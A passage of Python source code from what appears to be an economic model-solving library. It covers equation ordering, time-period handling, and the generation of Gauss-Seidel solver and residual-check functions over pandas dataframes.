nt.index(self.aequalterm) # find the position of = \r\n zendovar = [t.var for t in nt[:assigpos] if t.var] # variables to the left of the =\r\n boolmatrix = pt.kw_frml_name(n,'MATRIX') # do this formular define a matrix on the left of =\r\n\r\n for pos,endo in enumerate(zendovar):\r\n if self.allvar[endo]['endo']:\r\n print(' **** On the left hand side several times: ',endo )\r\n self.allvar[endo]['dropfrml'] = (1 <= pos ) \r\n self.allvar[endo]['endo'] = 1\r\n self.allvar[endo]['frmlnumber'] = frmlnumber \r\n self.allvar[endo]['frml'] = frml\r\n self.allvar[endo]['terms'] = nt[:]\r\n self.allvar[endo]['frmlname'] = n\r\n self.allvar[endo]['matrix'] = boolmatrix\r\n self.allvar[endo]['assigpos'] = assigpos \r\n \r\n # finished looping over all the equations \r\n \r\n self.endogene = {x for x in self.allvar.keys() if self.allvar[x]['endo']} \r\n self.exogene = {x for x in self.allvar.keys() if not self.allvar[x]['endo']}\r\n self.exogene_true= {v for v in self.exogene if not v+'___RES' in self.endogene}\r\n \r\n\r\n# # the order as in the equations \r\n# for iz, a in enumerate(sorted(self.allvar)):\r\n# self.allvar[a]['varnr'] = iz\r\n \r\n self.v_nr = sorted([(v,self.allvar[v]['frmlnumber']) for v in self.endogene],key = lambda x:x[1]) \r\n self.nrorder = [v[0] for v in self.v_nr ]\r\n if self.straight: #no sequencing \r\n self.istopo = False \r\n self.solveorder = self.nrorder\r\n else:\r\n \r\n \r\n try:\r\n self.topo = list(nx.topological_sort(self.endograph))\r\n self.solveorder = self.topo\r\n self.istopo = True\r\n self.solveorder = self.topo \r\n # check if there is formulars with several left hand side variables \r\n # this is a little tricky \r\n dropvar = [(v,self.topo.index(v),self.allvar[v]['frmlnumber']) for v in self.topo \r\n if self.allvar[v]['dropfrml']] # all dropped vars and their index in topo and frmlnumber\r\n if len(dropvar):\r\n multiendofrml = {frmlnr for (var,toposort,frmlnr) in dropvar} # all multi-lhs formulars \r\n dropthisvar = [v for v in self.endogene # theese should also be droppen, now all are dropped \r\n if self.allvar[v]['frmlnumber'] in multiendofrml\r\n and not self.allvar[v]['dropfrml']]\r\n for var in dropthisvar:\r\n self.allvar[var]['dropfrml'] = True\r\n \r\n # now find the first lhs variable in the topo for each formulars. They have to be not dropped \r\n # this means that they should be evaluated first\r\n keepthisvarnr = [min([topoindex for (var,topoindex,frmlnr) in dropvar if frmlnr == thisfrml])\r\n for thisfrml in multiendofrml]\r\n keepthisvar = [self.topo[nr] for nr in keepthisvarnr]\r\n for var in keepthisvar:\r\n self.allvar[var]['dropfrml'] = False\r\n \r\n except:\r\n # print('This model has simultaneous elements or cyclical elements.')\r\n self.istopo = False \r\n self.solveorder = self.nrorder\r\n\r\n # for pretty printing of variables\r\n self.maxnavlen = max([len(a) for a in self.allvar.keys()])\r\n self.blank = ' ' * (self.maxnavlen + 9) # a blank of right lenth\r\n gc.enable()\r\n# gc.collect()\r\n return\r\n \r\n def smpl(self,start='',slut='',df=None):\r\n ''' Defines the model.current_per which is used for calculation period/index\r\n when no parameters are issues the current current period is returned \\n\r\n Either none or all parameters have to be provided '''\r\n df_ = self.basedf if df is None else df\r\n if start =='' and slut == '':\r\n if not hasattr(self,'current_per'): # if first invocation just use the max slize \r\n istart,islut= df_.index.slice_locs(df_.index[0-self.maxlag],df_.index[-1-self.maxlead],kind='loc')\r\n self.current_per=df_.index[istart:islut]\r\n else:\r\n istart,islut= df_.index.slice_locs(start,slut,kind='loc')\r\n per=df_.index[istart:islut]\r\n self.current_per = per \r\n self.old_current_per = copy.deepcopy(self.current_per)\r\n return self.current_per\r\n\r\n def check_sim_smpl(self,databank):\r\n \"\"\"Checks if the current period (the SMPL) is can contain the lags and the leads\"\"\"\r\n \r\n if 0 > databank.index.get_loc(self.current_per[0])+self.maxlag:\r\n print('***** Warning: You are solving the model before all lags are avaiable')\r\n print('Maxlag:',self.maxlag,'First solveperiod:',self.current_per[0],'First dataframe index',databank.index[0])\r\n sys.exit() \r\n if len(databank.index) <= databank.index.get_loc(self.current_per[-1])+self.maxlead:\r\n print('***** Warning: You are solving the model after all leads are avaiable')\r\n print('Maxlag:',self.maxlead,'Last solveperiod:',self.current_per[-1],'Last dataframe index',databank.index[-1])\r\n sys.exit() \r\n\r\n \r\n @contextmanager\r\n def set_smpl(self,start='',slut='',df=None):\r\n \"\"\"\r\n Sets the scope for the models time range, and restors it afterward \r\n\r\n Args:\r\n start : Start time. Defaults to ''.\r\n slut : End time. Defaults to ''.\r\n df (Dataframe, optional): Used on a dataframe not self.basedf. Defaults to None.\r\n\r\n \"\"\"\r\n if hasattr(self,'current_per'):\r\n old_current_per = self.current_per.copy()\r\n _ = self.smpl(start,slut,df)\r\n else: \r\n _ = self.smpl(start,slut,df)\r\n old_current_per = self.current_per.copy()\r\n \r\n yield \r\n self.current_per = old_current_per \r\n\r\n @contextmanager\r\n def set_smpl_relative(self,start_ofset=0,slut_ofset=0):\r\n ''' Sets the scope for the models time range relative to the current, and restores it afterward''' \r\n \r\n old_current_per = self.current_per.copy()\r\n old_start,old_slut = self.basedf.index.slice_locs(old_current_per[0],old_current_per[-1],kind='loc')\r\n new_start = max(0,old_start+start_ofset)\r\n new_slut = min(len(self.basedf.index),old_slut+slut_ofset)\r\n self.current_per = self.basedf.index[new_start:new_slut] \r\n yield\r\n \r\n self.current_per = old_current_per \r\n \r\n \r\n\r\n @property\r\n def endograph(self) :\r\n ''' Dependencygraph for currrent periode endogeneous variable, used for reorder the equations'''\r\n if not hasattr(self,'_endograph'):\r\n terms = ((var,inf['terms']) for var,inf in self.allvar.items() if inf['endo'])\r\n \r\n rhss = ((var,term[self.allvar[var]['assigpos']:]) for var,term in terms )\r\n rhsvar = ((var,{v.var for v in rhs if v.var and v.var in self.endogene and v.var != var and not v.lag}) for var,rhs in rhss)\r\n \r\n edges = ((v,e) for e,rhs in rhsvar for v in rhs)\r\n# print(edges)\r\n self._endograph=nx.DiGraph(edges)\r\n self._endograph.add_nodes_from(self.endogene)\r\n return self._endograph \r\n\r\n @property \r\n def calculate_freq(self):\r\n ''' The number of operators in the model '''\r\n if not hasattr(self,'_calculate_freq'):\r\n operators = ( t.op for v in self.endogene for t in self.allvar[v]['terms'] if (not self.allvar[v]['dropfrml']) and t.op and t.op not in '$,()=[]' )\r\n res = Counter(operators).most_common()\r\n all = sum((n[1] for n in res))\r\n self._calculate_freq = res+[('Total',all)]\r\n return self._calculate_freq \r\n \r\n\r\n def get_columnsnr(self,df):\r\n ''' returns a dict a databanks variables as keys and column number as item\r\n used for fast getting and setting of variable values in the dataframe'''\r\n return {v: i for i,v in enumerate(df.columns) }\r\n \r\n \r\n def outeval(self,databank):\r\n ''' takes a list of terms and translates to a evaluater function called los\r\n \r\n The model axcess the data through:Dataframe.value[rowindex+lag,coloumnindex] which is very efficient \r\n\r\n ''' \r\n short,long,longer = 4*' ',8*' ',12 *' '\r\n\r\n def totext(t):\r\n ''' This function returns a python representation of a term'''\r\n if t.op:\r\n return '\\n' if ( t.op == '$' ) else t.op.lower()\r\n elif t.number:\r\n return t.number\r\n elif t.var:\r\n return 'values[row'+t.lag+','+str(columnsnr[t.var])+']' \r\n \r\n columnsnr=self.get_columnsnr(databank)\r\n fib1 = ['def make_los(funks=[]):\\n']\r\n fib1.append(short + 'from modeluserfunk import '+(', '.join(pt.userfunk)).lower()+'\\n')\r\n fib1.append(short + 'from modelBLfunk import '+(', '.join(pt.BLfunk)).lower()+'\\n')\r\n funktext = [short+f.__name__ + ' = funks['+str(i)+']\\n' for i,f in enumerate(self.funks)] \r\n fib1.extend(funktext)\r\n fib1.append(short + 'def los(values,row,solveorder, allvar):\\n')\r\n fib1.append(long+'try :\\n')\r\n startline = len(fib1)+1\r\n content = (longer + ('pass # '+v +'\\n' if self.allvar[v]['dropfrml']\r\n else ''.join( (totext(t) for t in self.allvar[v]['terms'])) ) \r\n for v in self.solveorder )\r\n \r\n fib2 = [long+ 'except :\\n']\r\n fib2.append(longer + 'print(\"Error in\",allvar[solveorder[sys.exc_info()[2].tb_lineno-'+str(startline)+']][\"frml\"])\\n')\r\n fib2.append(longer + 'raise\\n')\r\n fib2.append(long + 'return \\n')\r\n fib2.append(short + 'return los\\n')\r\n return ''.join(chain(fib1,content,fib2)) \r\n \r\n # def errfunk(self,linenr,startlines=4):\r\n # ''' developement function\r\n \r\n # to handle run time errors in model calculations'''\r\n \r\n # winsound.Beep(500,1000)\r\n # print('>> Error in :',self.name)\r\n # print('>> At :',self._per)\r\n # self.errdump = pd.DataFrame(self.values,columns=self.currentdf.columns, index= self.currentdf.index)\r\n # outeq = self.currentmodel[linenr-startlines] \r\n # varout = sorted(list({(var,lag) for (var,lag) in re.findall(self.ypat,outeq) if var not in self.funk}))\r\n # print('>> Equation :',outeq)\r\n # maxlen = str(3+max([len(var) for (var,lag) in varout])) \r\n # fmt = '{:>'+maxlen+'} {:>3} {:>20} '\r\n # print('>>',fmt.format('Var','Lag','Value'))\r\n # for var,lag in varout: \r\n # lagout = 0 if lag =='' else int(lag)\r\n # print('>>',('{:>'+maxlen+'} {:>3} {:>20} ').format(var,lagout,self.errdump.loc[self._per+lagout,var]))\r\n # print('A snapshot of the data at the error point is at .errdump ')\r\n\r\n def eqcolumns(self,a,b):\r\n ''' compares two lists'''\r\n if len(a)!=len(b):\r\n return False\r\n else:\r\n return all(a == b)\r\n \r\n def xgenr(self, databank, start='', slut='', silent=0,samedata=1,**kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n \r\n sol_periode = self.smpl(start,slut,databank)\r\n self.check_sim_smpl(databank)\r\n \r\n if not silent : print ('Will start calculating: ' + self.name)\r\n if (not samedata) or (not hasattr(self,'solve_dag')) or (not self.eqcolumns(self.genrcolumns,databank.columns)):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n self.genrcolumns = databank.columns.copy() \r\n make_los_text = self.outeval(databank)\r\n self.make_los_text = make_los_text\r\n exec(make_los_text,globals()) # creates the los function\r\n self.solve_dag = make_los(self.funks)\r\n values = databank.values.copy() # \r\n for periode in sol_periode:\r\n row=databank.index.get_loc(periode)\r\n self.solve_dag(values, row , self.solveorder , self.allvar)\r\n if not silent : print (periode, ' solved')\r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n if not silent : print (self.name + ' calculated ')\r\n return outdf \r\n \r\n def findpos(self):\r\n ''' find a startposition in the calculation array for a model \r\n places startposition for each variable in model.allvar[variable]['startpos']\r\n places the max startposition in model.maxstart ''' \r\n \r\n if self.maxstart == 0 : \r\n variabler=(x for x in sorted(self.allvar.keys()))\r\n start=0\r\n for v,m in ((v,self.allvar[v]['maxlag']) for v in variabler):\r\n self.allvar[v]['startnr']=start\r\n start=start+(-int(m))+1\r\n self.maxstart=start # print(v.ljust(self.maxnavlen),str(m).rjust(6),str(self.allvar[v]['start']).rju\r\n\r\n def make_gaussline(self,vx,nodamp=False):\r\n ''' takes a list of terms and translates to a line in a gauss-seidel solver for \r\n simultanius models\r\n the variables are mapped to position in a vector which has all relevant varaibles lagged \r\n this is in order to provide opertunity to optimise data and solving \r\n \r\n New version to take hand of several lhs variables. Dampning is not allowed for\r\n this. But can easely be implemented by makeing a function to multiply tupels\r\n '''\r\n termer=self.allvar[vx]['terms']\r\n assigpos = self.allvar[vx]['assigpos'] \r\n if nodamp:\r\n ldamp=False\r\n else: \r\n if 'Z' in self.allvar[vx]['frmlname'] or pt.kw_frml_name(self.allvar[vx]['frmlname'],'DAMP'): # convention for damping equations \r\n assert assigpos == 1 , 'You can not dampen equations with several left hand sides:'+vx\r\n endovar=[t.op if t.op else ('a['+str(self.allvar[t.var]['startnr'])+']') for j,t in enumerate(termer) if j <= assigpos-1 ]\r\n damp='(1-alfa)*('+''.join(endovar)+')+alfa*(' # to implemet dampning of solution\r\n ldamp = True\r\n else:\r\n ldamp = False\r\n out=[]\r\n \r\n for i,t in enumerate(termer[:-1]): # drop the trailing $\r\n if t.op:\r\n out.append(t.op.lower())\r\n if i == assigpos and ldamp:\r\n out.append(damp)\r\n if t.number:\r\n out.append(t.number)\r\n elif t.var:\r\n lag=int(t.lag) if t.lag else 0\r\n out.append('a['+str(self.allvar[t.var]['startnr']-lag)+']') \r\n if ldamp: out.append(')') # the last ) in the dampening \r\n res = ''.join(out)\r\n return res\r\n\r\n def make_resline(self,vx):\r\n ''' takes a list of terms and translates to a line calculating line\r\n '''\r\n termer=self.allvar[vx]['terms']\r\n assigpos = self.allvar[vx]['assigpos'] \r\n out=[]\r\n \r\n for i,t in enumerate(termer[:-1]): # drop the trailing $\r\n if t.op:\r\n out.append(t.op.lower())\r\n if t.number:\r\n out.append(t.number)\r\n elif t.var:\r\n lag=int(t.lag) if t.lag else 0\r\n if i < assigpos:\r\n out.append('b['+str(self.allvar[t.var]['startnr']-lag)+']') \r\n else:\r\n out.append('a['+str(self.allvar[t.var]['startnr']-lag)+']') \r\n res = ''.join(out)\r\n return res\r\n\r\n def createstuff3(self,dfxx):\r\n ''' Connect a dataframe with the solution vector used by the iterative sim2 solver) \r\n return a function to place data in solution vector and to retrieve it again. ''' \r\n \r\n columsnr = {v: i for i,v in enumerate(dfxx.columns) }\r\n pos0 = sorted([(self.allvar[var]['startnr']-lag,(var,lag,columsnr[var]) ) \r\n for var in self.allvar for lag in range(0,-1+int(self.allvar[var]['maxlag']),-1)])\r\n# if problems check if find_pos has been calculated \r\n posrow = np.array([lag for (startpos,(var,lag,colpos)) in pos0 ])\r\n poscol = np.array([colpos for (startpos,(var,lag,colpos)) in pos0 ])\r\n \r\n poscolendo = [columsnr[var] for var in self.endogene ]\r\n posstartendo = [self.allvar[var]['startnr'] for var in self.endogene ]\r\n \r\n def stuff3(values,row,ljit=False):\r\n '''Fills a calculating vector with data, \r\n speeded up by using dataframe.values '''\r\n \r\n if ljit:\r\n# a = np.array(values[posrow+row,poscol],dtype=np.dtype('f8'))\r\n# a = np.ascontiguousarray(values[posrow+row,poscol],dtype=np.dtype('f8'))\r\n a = np.ascontiguousarray(values[posrow+row,poscol],dtype=np.dtype('f8'))\r\n else:\r\n # a = values[posrow+row,poscol]\r\n # a = np.array(values[posrow+row,poscol],dtype=np.dtype('f8'))\r\n a = np.ascontiguousarray(values[posrow+row,poscol],dtype=np.dtype('f8'))\r\n\r\n return a \r\n \r\n def saveeval3(values,row,vector):\r\n values[row,poscolendo] = vector[posstartendo]\r\n\r\n return stuff3,saveeval3 \r\n \r\n \r\n \r\n def outsolve(self,order='',exclude=[]):\r\n ''' returns a string with a function which calculates a \r\n Gauss-Seidle iteration of a model\r\n exclude is list of endogeneous variables not to be solved \r\n uses: \r\n model.solveorder the order in which the variables is calculated\r\n model.allvar[v][\"gauss\"] the ccalculation \r\n '''\r\n short,long,longer = 4*' ',8*' ',12 *' '\r\n solveorder=order if order else self.solveorder\r\n fib1 = ['def make(funks=[]):']\r\n fib1.append(short + 'from modeluserfunk import '+(', '.join(pt.userfunk)).lower())\r\n fib1.append(short + 'from modelBLfunk import '+(', '.join(pt.BLfunk)).lower())\r\n funktext = [short+f.__name__ + ' = funks['+str(i)+']' for i,f in enumerate(self.funks)] \r\n fib1.extend(funktext)\r\n fib1.append(short + 'def los(a,alfa):')\r\n f2=(long + self.make_gaussline(v) for v in solveorder \r\n if (v not in exclude) and (not self.allvar[v]['dropfrml']))\r\n fib2 = [long + 'return a ']\r\n fib2.append(short+'return los')\r\n out = '\\n'.join(chain(fib1,f2,fib2))\r\n return out\r\n \r\n \r\n def make_solver(self,ljit=False,order='',exclude=[],cache=False):\r\n ''' makes a function which performs a Gaus-Seidle iteration\r\n if ljit=True a Jittet function will also be created.\r\n The functions will be placed in: \r\n model.solve \r\n model.solve_jit '''\r\n \r\n a=self.outsolve(order,exclude) # find the text of the solve\r\n exec(a,globals()) # make the factory defines\r\n self.solve=make(funks=self.funks) # using the factory create the function \r\n if ljit:\r\n print('Time for a cup of coffee')\r\n self.solve_jit=jit(\"f8[:](f8[:],f8)\",cache=cache,fastmath=True)(self.solve)\r\n return \r\n\r\n\r\n def base_sim(self,databank,start='',slut='', max_iterations =1,first_test=1,ljit=False,exclude=[],silent=False,new=False,\r\n conv=[],samedata=True,dumpvar=[],ldumpvar=False,\r\n dumpwith=15,dumpdecimal=5,lcython=False,setbase=False,\r\n setlast=True,alfa=0.2,sim=True,absconv=0.01,relconv=0.00001,\r\n debug=False,stats=False,**kwargs):\r\n ''' solves a model with data from a databank if the model has a solve function else it will be created.\r\n \r\n The default options are resonable for most use:\r\n \r\n :start,slut: Start and end of simulation, default as much as possible taking max lag into acount \r\n :max_iterations : Max interations\r\n :first_test: First iteration where convergence is tested\r\n :ljit: If True Numba is used to compile just in time - takes time but speeds solving up \r\n :new: Force creation a new version of the solver (for testing)\r\n :exclude: Don't use use theese foormulas\r\n :silent: Suppres solving informations \r\n :conv: Variables on which to measure if convergence has been achived \r\n :samedata: If False force a remap of datatrframe to solving vector (for testing) \r\n :dumpvar: Variables to dump \r\n :ldumpvar: toggels dumping of dumpvar \r\n :dumpwith: with of dumps\r\n :dumpdecimal: decimals in dumps \r\n :lcython: Use Cython to compile the model (experimental )\r\n :alfa: Dampning of formulas marked for dampning ( in frml name)\r\n :sim: For later use\r\n :absconv: Treshold for applying relconv to test convergence \r\n :relconv: Test for convergence \r\n :debug: Output debug information \r\n :stats: Output solving statistics\r\n \r\n \r\n '''\r\n \r\n sol_periode = self.smpl(start,slut,databank)\r\n self.check_sim_smpl(databank)\r\n self.findpos()\r\n databank = insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n \r\n with self.timer('create stuffer and gauss lines ',debug) as t: \r\n if (not hasattr(self,'stuff3')) or (not self.eqcolumns(self.simcolumns, databank.columns)):\r\n self.stuff3,self.saveeval3 = self.createstuff3(databank)\r\n self.simcolumns=databank.columns.copy()\r\n \r\n with self.timer('Create solver function',debug) as t: \r\n if ljit:\r\n if not hasattr(self,'solve_jit'): self.make_solver(ljit=True,exclude=exclude)\r\n this_solve = self.solve_jit\r\n else: \r\n if not hasattr(self,'solve'): self.make_solver(exclude=exclude)\r\n this_solve = self.solve \r\n\r\n values=databank.values.copy()\r\n# columsnr=self.get_columnsnr(databank)\r\n ittotal=0 # total iteration counter \r\n # convvar = [conv] if isinstance(conv,str) else conv if conv != [] else list(self.endogene) \r\n convvar = self.list_names(self.endogene,conv) \r\n\r\n convplace=[self.allvar[c]['startnr'] for c in convvar] # this is how convergence is measured \r\n if ldumpvar:\r\n dump = convvar if dumpvar == [] else self.vlist(dumpvar)\r\n dumpplac = [self.allvar[v]['startnr'] for v in dump]\r\n dumphead = ' '.join([('{:>'+str(dumpwith)+'}').format(d) for d in dump])\r\n starttime=time.time()\r\n for periode in sol_periode:\r\n row=databank.index.get_loc(periode)\r\n with self.timer('stuffing',debug) as tt:\r\n a=self.stuff3(values,row,ljit)\r\n# b=self.stuff2(values,row,columsnr)\r\n# assert all(a == b)\r\n\r\n if ldumpvar:\r\n print('\\nStart solving',periode)\r\n print(' '+dumphead)\r\n print('Start '+' '.join([('{:>'+str(dumpwith)+',.'+str(dumpdecimal)+'f}').format(a[p]) for p in dumpplac]))\r\n jjj=0\r\n\r\n for j in range(max_iterations ):\r\n jjj=j+1\r\n if debug :print('iteration :',j)\r\n with self.timer('iteration '+str(jjj),debug) as tttt:\r\n itbefore=a[convplace].copy()\r\n a=this_solve(a,alfa) \r\n if ldumpvar: print('Iteration {:>3}'.format(j)+' '.join([('{:>'+str(dumpwith)+',.'+str(dumpdecimal)+'f}').format(a[p]) for p in dumpplac]))\r\n\r\n if j > first_test: \r\n itafter=a[convplace].copy()\r\n convergence = True\r\n for after,before in zip(itafter,itbefore):\r\n# print(before,after)\r\n if before > absconv and abs(after-before)/abs(before) > relconv:\r\n convergence = False\r\n break \r\n if convergence:\r\n if not silent: print(periode,'Solved in ',j,'iterations')\r\n break\r\n else:\r\n itbefore=itafter.copy()\r\n else:\r\n print('No convergence ',periode,' after',jjj,' iterations')\r\n with self.timer('saving',debug) as t: \r\n# self.saveeval2(values,row,columsnr,a) # save the result \r\n self.saveeval3(values,row,a) # save the result \r\n ittotal =ittotal+jjj\r\n if not silent : print(self.name,': Solving finish from ',sol_periode[0],'to',sol_periode[-1])\r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns)\r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n simtime = endtime-starttime\r\n print('{:<40}: {:>15,}'.format('Floating point operations :',self.calculate_freq[-1][1]))\r\n print('{:<40}: {:>15,}'.format('Total iterations :',ittotal))\r\n print('{:<40}: {:>15,}'.format('Total floating point operations',numberfloats))\r\n print('{:<40}: {:>15,.2f}'.format('Simulation time (seconds) ',simtime))\r\n if simtime > 0.0:\r\n print('{:<40}: {:>15,.0f}'.format('Floating point operations per second',numberfloats/simtime))\r\n return outdf \r\n \r\n def outres(self,order='',exclude=[]):\r\n ''' returns a string with a function which calculates a \r\n calculation for residual check \r\n exclude is list of endogeneous variables not to be solved \r\n uses: \r\n model.solveorder the order in which the variables is calculated\r\n '''\r\n short,long,longer = 4*' ',8*' ',12 *' '\r\n solveorder=order if order else self.solveorder\r\n fib1 = ['def make(funks=[]):']\r\n fib1.append(short + 'from modeluserfunk import '+(', '.join(pt.userfunk)).lower())\r\n fib1.append(short + 'from modelBLfunk import '+(', '.join(pt.BLfunk)).lower())\r\n fib1.append(short + 'from numpy import zeros,float64')\r\n funktext = [short+f.__name__ + ' = funks['+str(i)+']' for i,f in enumerate(self.funks)] \r\n fib1.extend(funktext)\r\n fib1.append(short + 'def los(a):')\r\n fib1.append(long+'b=zeros(len(a),dtype=float64)\\n')\r\n f2=[long + self.make_resline(v) for v in solveorder \r\n if (v not in exclude) and (not self.allvar[v]['dropfrml'])]\r\n fib2 = [long + 'return b ']\r\n fib2.append(short+'return los')\r\n out = '\\n'.join(chain(fib1,f2,fib2))\r\n return out\r\n \r\n \r\n def make_res(self,order='',exclude=[]):\r\n ''' makes a function which performs a Gaus-Seidle iteration\r\n if ljit=True a Jittet function will also be created.\r\n The functions will be placed in: \r\n model.solve \r\n model.solve_jit '''\r\n \r\n xxx=self.outres(order,exclude) # find the text of the solve\r\n exec(xxx,globals()) # make the factory defines\r\n res_calc = make(funks=self.funks) # using the factory create the function \r\n return res_calc\r\n \r\n def base_res(self,databank,start='',slut='',silent=1):\r\n ''' calculates a model with data from a databank\r\n Used for check wether each equation gives the same result as in the original databank'\r\n '''\r\n if not hasattr(self,'res_calc'):\r\n self.findpos()\r\n self.res_calc = self.make_res() \r\n databank=insertModelVar(databank,self) # kan man det her? I b \r\n values=databank.values\r\n bvalues=values.copy()\r\n sol_periode = self.smpl(start,slut,databank)\r\n stuff3,saveeval3 = self.createstuff3(databank)\r\n for per in sol_periode:\r\n row=databank.index.get_loc(per)\r\n aaaa=stuff3(values,row)\r\n b=self.res_calc(aaaa) \r\n if not silent: print(per,'Calculated')\r\n saveeval3(bvalues,row,b)\r\n xxxx = pd.DataFrame(bvalues,index=databank.index,columns=databank.columns) \r\n if not silent: print(self.name,': Res calculation finish from ',sol_periode[0],'to',sol_periode[-1])\r\n return xxxx \r\n\r\n \r\n def __len__(self):\r\n return len(self.endogene)\r\n \r\n def __repr__(self):\r\n fmt = '{:40}: {:>20} \\n'\r\n out = fmt.format('Model name',self.name)\r\n out += fmt.format('Model structure ', 'Recursive' if self.istopo else 'Simultaneous') \r\n out += fmt.format('Number of variables ',len(self.allvar))\r\n out += fmt.format('Number of exogeneous variables ',len(self.exogene))\r\n out += fmt.format('Number of endogeneous variables ',len(self.endogene))\r\n return '<\\n'+out+'>'\r\n\r\n \r\n# \r\n\r\n\r\nclass Org_model_Mixin():\r\n ''' The model class, used for calculating models\r\n \r\n Compared to BaseModel it allows for simultaneous model and contains a number of properties \r\n and functions to analyze and manipulate models and visualize results. \r\n \r\n '''\r\n\r\n @property\r\n def lister(self):\r\n return pt.list_extract(self.equations) # lists used in the equations \r\n\r\n\r\n @property\r\n def listud(self):\r\n '''returns a string of the models listdefinitions \\n\r\n used when ceating (small) models based on this model '''\r\n udlist=[]\r\n for l in self.lister: \r\n udlist.append('list '+l+' = ')\r\n for j,sl in enumerate(self.lister[l]):\r\n lensl=str(max(30,len(sl)))\r\n if j >= 1 : udlist.append(' / ')\r\n udlist.append(('{:<'+lensl+'}').format('\\n '+sl+' '))\r\n udlist.append(':')\r\n for i in self.lister[l][sl]:\r\n udlist.append(' '+i)\r\n\r\n udlist.append(' $ \\n')\r\n return ''.join(udlist)\r\n \r\n def vlist(self,pat):\r\n '''returns a list of variable in the model matching the pattern, the pattern can be a list of patterns'''\r\n if isinstance(pat,list):\r\n upat=pat\r\n else:\r\n upat = [pat]\r\n if pat.upper() == '#ENDO':\r\n out = sorted(self.endogene)\r\n return out \r\n \r\n ipat = upat\r\n \r\n \r\n try: \r\n out = [v for p in ipat for up in p.split() for v in sorted(fnmatch.filter(self.allvar.keys(),up.upper()))] \r\n except:\r\n ''' in case the model instance is an empty instance around datatframes, typical for visualization'''\r\n out = [v for p in ipat for up in p.split() for v in sorted(fnmatch.filter(self.lastdf.columns,up.upper()))] \r\n return out\r\n \r\n @staticmethod\r\n def list_names(input,pat,sort=True):\r\n '''returns a list of variable in input matching the pattern, the pattern can be a list of patterns''' \r\n if sort: \r\n out = [v for up in pat.split() for v in sorted(fnmatch.filter(input,up.upper()))] \r\n else:\r\n out = [v for up in pat.split() for v in fnmatch.filter(input,up.upper())] \r\n return out\r\n \r\n \r\n \r\n def exodif(self,a=None,b=None):\r\n ''' Finds the differences between two dataframes in exogeneous variables for the model\r\n Defaults to getting the two dataframes (basedf and lastdf) internal to the model instance \r\n \r\n Exogeneous with a name ending in __RES are not taken in, as they are part of a un_normalized model''' \r\n aexo=a.loc[:,self.exogene_true] if isinstance(a,pd.DataFrame) else self.basedf.loc[:,self.exogene_true]\r\n bexo=b.loc[:,self.exogene_true] if isinstance(b,pd.DataFrame) else self.lastdf.loc[:,self.exogene_true] \r\n diff = pd.eval('bexo-aexo')\r\n out2=diff.loc[(diff != 0.0).any(axis=1),(diff != 0.0).any(axis=0)]\r\n \r\n return out2.T.sort_index(axis=0).T \r\n \r\n \r\n \r\n \r\n \r\n \r\n def get_eq_values(self,varnavn,last=True,databank=None,nolag=False,per=None,showvar=False,alsoendo=False):\r\n ''' Returns a dataframe with values from a frml determining a variable \r\n \r\n \r\n options: \r\n :last: the lastdf is used else baseline dataframe\r\n :nolag: only line for each variable ''' \r\n \r\n if varnavn in self.endogene: \r\n if type(databank)==type(None):\r\n df=self.lastdf if last else self.basedf \r\n else:\r\n df=databank\r\n \r\n if per == None :\r\n current_per = self.current_per\r\n else:\r\n current_per = per \r\n \r\n varterms = [(term.var, int(term.lag) if term.lag else 0)\r\n# for term in self.allvar[varnavn.upper()]['terms'] if term.var]\r\n for term in self.allvar[varnavn.upper()]['terms'] if term.var and not (term.var ==varnavn.upper() and term.lag == '')]\r\n sterms = sorted(set(varterms),key= lambda x: (x[0],-x[1])) # now we have droped dublicate terms and sorted \r\n if nolag: \r\n sterms = sorted({(v,0) for v,l in sterms})\r\n if showvar: sterms = [(varnavn,0)]+sterms \r\n lines = [[get_a_value(df,p,v,lag) for p in current_per] for v,lag in sterms]\r\n out = pd.DataFrame(lines,columns=current_per,\r\n index=[r[0]+(f'({str(r[1])})' if r[1] else '') for r in sterms])\r\n return out\r\n else: \r\n return None \r\n\r\n def get_eq_dif(self,varnavn,filter=False,nolag=False,showvar=False) :\r\n ''' returns a dataframe with difference of values from formula'''\r\n out0 = (self.get_eq_values(varnavn,last=True,nolag=nolag,showvar=showvar)-\r\n self.get_eq_values(varnavn,last=False,nolag=nolag,showvar=showvar))\r\n if filter:\r\n mask = out0.abs()>=0.00000001\r\n out = out0.loc[mask] \r\n else:\r\n out=out0\r\n return out \r\n\r\n\r\n def get_values(self,v): \r\n ''' returns a dataframe with the data points for a node, including lags ''' \r\n t = pt.udtryk_parse(v,funks=[])\r\n var=t[0].var\r\n lag=int(t[0].lag) if t[0].lag else 0\r\n bvalues = [float(get_a_value(self.basedf,per,var,lag)) for per in self.current_per] \r\n lvalues = [float(get_a_value(self.lastdf,per,var,lag)) for per in self.current_per] \r\n dvalues = [float(get_a_value(self.lastdf,per,var,lag)-get_a_value(self.basedf,per,var,lag)) for per in self.current_per] \r\n df = pd.DataFrame([bvalues,lvalues,dvalues],index=['Base','Last','Diff'],columns=self.current_per)\r\n return df \r\n \r\n def __getitem__(self, name):\r\n \r\n a=self.vis(name)\r\n return a\r\n \r\n def __getattr__(self, name):\r\n try:\r\n return mv.varvis(model=self,var=name.upper())\r\n except:\r\n# print(name)\r\n raise AttributeError \r\n pass \r\n \r\n \r\n def __dir__(self):\r\n if self.tabcomplete:\r\n if not hasattr(self,'_res'):\r\n # self._res = sorted(list(self.allvar.keys()) + list(self.__dict__.keys()) + list(type(self).__dict__.keys()))\r\n self._res = sorted(list(self.allvar.keys()) + list(self.__dict__.keys()) + list(type(self).__dict__.keys()))\r\n return self. _res \r\n\r\n else: \r\n res = list(self.__dict__.keys())\r\n return res\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n def 